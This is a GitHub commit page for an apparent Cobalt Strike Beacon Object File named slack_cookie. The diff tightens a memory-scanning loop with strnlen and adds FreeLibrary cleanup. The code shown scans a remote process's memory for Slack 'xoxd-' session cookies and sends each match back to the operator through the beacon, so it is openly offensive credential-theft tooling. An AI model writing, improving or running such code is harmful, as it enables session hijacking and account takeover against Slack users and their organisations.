Skip to content

Commit

Permalink
use strnlen and FreeLibrary
Browse files Browse the repository at this point in the history
  • Loading branch information
Tw1sm committed Feb 1, 2024
1 parent e2d8b05 commit 121a3fe
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 1 deletion.
Binary file modified Remote/slack_cookie/slack_cookie.x64.o
Binary file not shown.
Binary file modified Remote/slack_cookie/slack_cookie.x86.o
Binary file not shown.
7 changes: 6 additions & 1 deletion src/Remote/slack_cookie/entry.c
Original file line number Diff line number Diff line change
Expand Up @@ -88,11 +88,12 @@ void Write_Memory_Range( HANDLE hProcess, LPCVOID address, size_t address_sz)
//for (index = 0; index < (address_sz/2)-8; index++)
for (index = 0; index < address_sz-5; index++)
{
size_t remainingSize = address_sz - index;
// search for xoxd- [78 6f 78 64 2d]
if (buffer[index] == 0x78 && buffer[index + 1] == 0x6f && buffer[index + 2] == 0x78 && buffer[index + 3] == 0x64 && buffer[index + 4] == 0x2d)
{
BeaconPrintf(CALLBACK_OUTPUT, "Slack Cookie: %s", buffer + index);
index += MSVCRT$strlen((char *)(buffer + index)) - 1;
index += MSVCRT$strnlen((char *)(buffer + index), remainingSize) - 1;
}
}
END:
Expand Down Expand Up @@ -164,6 +165,10 @@ void GetProcessMemory( HANDLE hProcess )
intFree( mem_info );
} while(1);
END:
if (KERNEL32)
{
FreeLibrary(KERNEL32);
}
return;
}

Expand Down

0 comments on commit 121a3fe

Please sign in to comment.